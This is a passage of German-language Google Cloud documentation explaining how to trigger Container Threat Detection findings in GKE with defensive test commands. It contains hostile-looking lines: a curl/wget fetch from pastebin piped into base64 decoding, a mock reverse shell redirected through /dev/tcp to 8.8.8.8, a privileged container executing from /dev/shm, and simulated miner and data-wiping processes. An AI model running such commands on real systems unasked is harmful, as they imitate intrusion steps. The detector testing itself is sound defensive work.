   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

ARM-Knoten:

tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/shred; /tmp/shred"

Mit diesem Testverfahren wird ein Ergebnis des Typs Impact: Remove Bulk Data From Disk erstellt, das in Security Command Center und in Cloud Logging angezeigt werden kann, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Auswirkung: Verdächtige Cryptomining-Aktivität mit dem Stratum-Protokoll

Um ein Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis auszulösen, muss eine Binärdatei in einem Container mit Argumenten ausgeführt werden, die denen ähneln, die von Krypto-Mining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert. Im Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt die Kopie in ein Mock-Binärprogramm um (vermutlich, um einen Krypto-Miner zu simulieren). Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die stratum+tcp oder ähnliche Stratum-Protokollindikatoren enthalten. Diese Aktivität wird als verdächtig eingestuft, da sie die Netzwerkkommunikationsmuster von Krypto-Mining-Software in Containerumgebungen nachahmt.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie ein Dienstprogramm-Binärprogramm wie curl mit Argumenten aus, die denen ähneln, die von Kryptomining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert:

x86-Knoten:

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

ARM-Knoten:

tag="ktd-test-detect-crypto-miners-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"

Mit diesem Testverfahren wird ein Impact: Suspicious crypto mining activity using the Stratum Protocol-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Möglicherweise wird auch ein zusätzliches Ergebnis für den Befehl bash angezeigt, den Sie in diesem Test ausführen. Dieses Verhalten ist normal. Sie können den zusätzlichen Hinweis ignorieren.

Schädliches Script ausgeführt

Wenn Sie ein Ergebnis des Typs „Schädliches Skript ausgeführt“ auslösen möchten, können Sie das Skript im folgenden Verfahren in Ihrem Container ausführen.

Bei diesem Verfahren wird das neueste Ubuntu 24.04-Image bereitgestellt, ein Skript kopiert, das verdächtig erscheint, und dann ausgeführt. Damit die Erkennung ausgelöst wird, muss ein Skript durch den Detektor als schädlich eingestuft werden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie das folgende Skript in einem neuen Container aus.

Dieses Inline-Bourne-Shell-Script stammt von einem Honeypot. Es wurde jedoch so geändert, dass die schädliche Binärdatei nicht ausgeführt wird. Wenn Sie das Skript ausführen, werden also keine schädlichen Aktivitäten in Ihrem Container verursacht. Das Binärprogramm unter der angegebenen URL wurde möglicherweise entfernt. Wenn Sie versuchen, der URL zu folgen, wird ein 404-Fehler zurückgegeben. Dies ist zu erwarten. Der Versuch, ein Binärprogramm mithilfe eines Inline-Scripts herunterzuladen, zu decodieren und auszuführen, löst die Erkennung aus.

x86-Knoten:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

ARM-Knoten:

tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"

Bei diesem Testverfahren wird ein Ergebnis des Typs "Schädliches Skript ausgeführt" erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Schädliche URL beobachtet

Wenn Sie ein Ergebnis des Typs „Schädliche URL beobachtet“ auslösen möchten, führen Sie ein Binärprogramm aus und geben Sie eine schädliche URL als Argument an.

Im folgenden Beispiel wird ein Ubuntu 24.04-Image bereitgestellt und /bin/curl ausgeführt, um über den Safe Browsing-Dienst auf eine Beispiel-Malware-URL zuzugreifen.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Führen Sie curl aus und geben Sie eine schädliche URL als Argument an:

x86-Knoten:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

ARM-Knoten:

tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
url="https://testsafebrowsing.appspot.com/s/malware.html"
kubectl run \
      --restart=Never \
      --rm=true -i \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
      {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
      "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
      "value": "arm64" } ]}}' \
      "$tag" -- sh -c "apt update; apt --yes install curl; curl $url | cat"

Mit diesem Testverfahren wird ein Ergebnis des Typs „Schädliche URL erkannt“ ausgelöst, das Sie in Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Rechteausweitung: Dateilose Ausführung in `/dev/shm`

Damit ein Privilege Escalation: Fileless Execution in /dev/shm-Ergebnis ausgelöst wird, muss ein Prozess über das In-Memory-Dateisystem /dev/shm ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Das Dienstprogramm /bin/echo wird nach /dev/shm/echo kopiert. Diese umbenannte Binärdatei wird dann ausgeführt. Die Ausführung einer Datei unter /dev/shm wird als verdächtig eingestuft, da sie das Verhalten eines Objekts nachahmt, das versucht, im Arbeitsspeicher ausgeführt zu werden, um dateibasierte Erkennungen zu vermeiden.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Erstellen Sie einen privilegierten Container und öffnen Sie Bash, um Befehle auszuführen:

x86-Knoten:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
   "$tag" -- bash

ARM-Knoten:

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Kopieren Sie echo nach /dev/shm und machen Sie die Datei mit chmod ausführbar.
```
  cp /bin/echo /dev/shm
  chmod 777 /dev/shm/echo
```
Hängen Sie /dev/shm neu ein, um die Ausführung zu ermöglichen.
```
  mount -o remount,exec /dev/shm
```
Führe echo über /dev/shm aus
```
  /dev/shm/echo "Hello from /dev/shm"
```

Mit diesem Testverfahren wird ein Privilege Escalation: Fileless Execution in /dev/shm-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Reverse Shell

Wenn Sie ein Reverse-Shell-Ergebnis auslösen möchten, starten Sie eine Binärdatei mit stdin-Weiterleitung zu einem mit TCP verbundenen Socket. In diesem Beispiel wird /bin/echo in /tmp/sh kopiert und dann /tmp/sh mit einer Weiterleitung zum öffentlichen DNS von Google 8.8.8.8 am DNS-Port gestartet. Beim Ausführen dieses Beispiels wird nichts ausgegeben. In diesem Beispiel wird die /bin/sh-Binärdatei nicht verwendet, um zu verhindern, dass ein externer Code durch einen Man-in-the-Middle-Angriff ausgelöst wird.

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Starten Sie eine Binärdatei mit /bin/echo-Weiterleitung zu Google Public DNS:

x86-Knoten:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

ARM-Knoten:

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Mit diesem Testverfahren wird ein Reverse Shell-Ergebnis erstellt, das Sie in Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Unerwartete untergeordnete Shell

Wenn Sie den Unexpected Child Shell-Detektor testen möchten, können Sie einen Prozessbaum erstellen, der einen untergeordneten Shell-Prozess enthält.

Im folgenden Beispiel wird ein consul->dash-Prozessbaum erstellt, der vom Unexpected Child Shell-Detektor erkannt werden kann. Dieser Test ist sicher, da nur integrierte Binärdateien verwendet werden. Dieses Beispiel tut Folgendes:

Erstellt eine Kopie des Prozesses sh und gibt ihr den Namen consul.
Kopiert den Prozess echo und benennt ihn in dash um.
Ruft den kopierten dash-Prozess im kopierten consul-Prozess auf.

So lösen Sie ein Unexpected Child Shell-Ergebnis aus:

Umgebungsvariablen festlegen

Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Verwenden Sie den Mock-Prozess consul, um eine Mock-Shell aufzurufen:

x86-Knoten:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

ARM-Knoten:

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Mit diesem Testverfahren wird ein Ergebnis des Typs Unexpected Child Shell erstellt, das Sie in Security Command Center aufrufen können. Wenn Logging für Container Threat Detection konfiguriert ist und Sie Security Command Center Premium oder Enterprise auf Organisationsebene aktiviert haben, können Sie das Ergebnis auch in Cloud Logging ansehen.

Nächste Schritte

Container Threat Detection verwenden

Container Threat Detection testen Mit Sammlungen den Überblick behalten Sie können Inhalte basierend auf Ihren Einstellungen speichern und kategorisieren.

Hinweis

Detektoren aktivieren

Umgebungsvariablen festlegen

Ausgeführte Binärdatei hinzugeführt

Hinzugefügte Mediathek geladen

Command and Control: Steganographie-Tool erkannt

Zugriff auf Anmeldedaten: Finden Google Cloud Anmeldedaten

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Umgehung von Abwehrmaßnahmen: Base64-codierte ELF-Cmdline-Dateien

Umgehung von Abwehrmaßnahmen: Base64-codiertes Python-Script ausgeführt

Umgehung von Abwehrmaßnahmen: Base64-codiertes Shell-Script ausgeführt

Umgehung von Abwehrmaßnahmen: Compiler-Tool für Code im Container gestartet

Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt

Ausführung: Container-Escape

Ausführung: Dateilose Ausführung in /memfd:

Ausführung: Ausnutzung der Sicherheitslücke „Ingress Nightmare“

Ausführung: Ausführung eines Kubernetes-Angriffstools

Ausführung: Ausführung eines lokalen Ausspähtools

Ausführung: Schädlicher Python-Code ausgeführt

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Ausführung: Netcat-Remote-Codeausführung im Container

Ausführung: Mögliche Remote-Befehlsausführung erkannt

Ausführung: Programm mit nicht zulässiger HTTP-Proxy-Umgebung ausgeführt

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Auswirkungen: Bulk-Entfernung von Daten von Laufwerk

Auswirkung: Verdächtige Cryptomining-Aktivität mit dem Stratum-Protokoll

Schädliches Script ausgeführt

Schädliche URL beobachtet

Rechteausweitung: Dateilose Ausführung in /dev/shm

Reverse Shell

Unerwartete untergeordnete Shell

Nächste Schritte

Container Threat Detection testen

Ausführung: Dateilose Ausführung in `/memfd:`

Rechteausweitung: Dateilose Ausführung in `/dev/shm`